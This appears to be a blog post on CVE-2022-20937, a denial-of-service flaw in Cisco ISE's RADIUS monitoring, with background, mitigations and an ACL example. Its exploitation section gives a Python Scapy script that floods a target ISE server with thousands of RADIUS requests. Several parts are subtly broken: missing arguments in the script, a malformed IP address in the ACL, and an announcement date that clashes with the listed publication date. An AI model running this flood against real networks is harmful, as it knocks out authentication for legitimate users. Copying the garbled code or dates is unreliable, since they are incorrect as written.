In June 2022, Cisco announced a major vulnerability in the popular Cisco Identity Services Engine (ISE) software. This flaw, tracked as CVE-2022-20937, could let a remote attacker bring down your network’s authentication process just by throwing the right data at your ISE. The bug lurks in the part of ISE that watches RADIUS authentication requests—a critical area in any network relying on secure access.

This post breaks down how the vulnerability works, what an attack might look like, and how to protect your systems. I’ll use simple language, with real code and practical examples, so you understand both the risk and the fix.

What Is Cisco ISE and Why Does It Matter?

Cisco Identity Services Engine (ISE) is used widely to control and secure how users and devices access a company network. When you see someone login to Wi-Fi using their company credentials, that’s often being checked by ISE using the RADIUS protocol.

The affected feature in CVE-2022-20937 is the component that monitors incoming RADIUS requests. This keeps an eye on authentication attempts for analysis, troubleshooting, and statistics—but as we’ll see, it was not designed to handle certain attack scenarios.

CVE-2022-20937: The Vulnerability

Summary:  
A vulnerability in Cisco ISE’s RADIUS monitoring lets a remote attacker slow down or even partially block authentication on the device, by sending high volumes of crafted RADIUS requests. No authentication or access to the device is required. It’s all due to a lack of proper resource management in the ISE RADIUS handling code.

Technical Explanation

When lots of RADIUS requests hit ISE in a certain way, it eats up memory and CPU in the monitoring feature. There aren't enough checks to stop it from running out of resources. The result is:

Significant authentication delays for real users

- Potential failure of new connections/authentications

The device itself may still respond to management, but access for regular users can grind to a halt.

Exploitation: How an Attacker Could Use This

Scenario:  
Imagine a threat actor sitting outside your network (or maybe on a guest Wi-Fi). They don’t need any credentials. Using a simple script, they flood your ISE server with a flood of odd, dummy RADIUS requests.

ISE tries to process and log all these requests—eventually eating up CPU/memory until it slows down drastically.

Employees trying to authenticate see big delays or failures

- Helpdesk gets a flood of calls about “login/auth failures”

Example Attack Code

A simple exploit could use the open-source Scapy (Python tool) to fire thousands of RADIUS requests at the target:

from scapy.all import *
import time

target_ip = "192.168.10.50"         # IP of ISE server
radius_port = 1812                  # Default RADIUS port

radius_packet = (
    IP(dst=target_ip) /
    UDP(sport=RandShort(), dport=radius_port) /
    Raw(b"\x01\x01\x00\x14" + b"\x00"*16)  # Minimal Access-Request, random payload
)

for i in range(, 10000):           # Send 10,000 requests quickly
    send(radius_packet, verbose=)
    time.sleep(.005)               # Tiny delay to avoid local overrun

print("Done flooding RADIUS server.")

Note: This is for education and defense testing only. Don’t attack any network without permission!

Mitigations & Workarounds

Cisco recommends upgrading your ISE to fixed versions (see advisory below). If this isn’t possible, immediate workarounds include:

Rate-limit inbound RADIUS traffic:

Use network firewalls or access control lists (ACL) to restrict valid RADIUS sources only (such as known access points and switches).

Sample ACL for limiting RADIUS (on a Cisco device)

ip access-list extended ONLY_ALLOW_RADIUS_CLIENTS
 permit udp host 10..10.5 host 192.168.10.50 eq 1812
 deny udp any host 192.168.10.50 eq 1812
 permit ip any any

Fix: Patch Your ISE!

Cisco released updates for all supported ISE versions that close the hole. Upgrade as soon as possible.

- Cisco Security Advisory for CVE-2022-20937
- Cisco ISE Software Downloads

References

- Full Cisco Advisory: CVE-2022-20937
- National Vulnerability Database: CVE-2022-20937
- Basic RADIUS Protocol Info: Wikipedia

Conclusion

CVE-2022-20937 shows how even simple resource bugs can knock out critical IT services. If your organization uses Cisco ISE, make sure it’s patched, restrict unnecessary RADIUS traffic, and keep an eye on authentication logs for spikes. A few minutes now could save you hours of outage and user frustration.

For defenders: test your controls and always review who *should* be able to send RADIUS queries—usually just your internal infrastructure, never the open internet!

Stay secure and keep patching!

*Written exclusively for you by ChatGPT. For more, follow Cisco security advisories and always keep your eyes open for new vulnerabilities.*

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/07/2022 17:43:00 UTC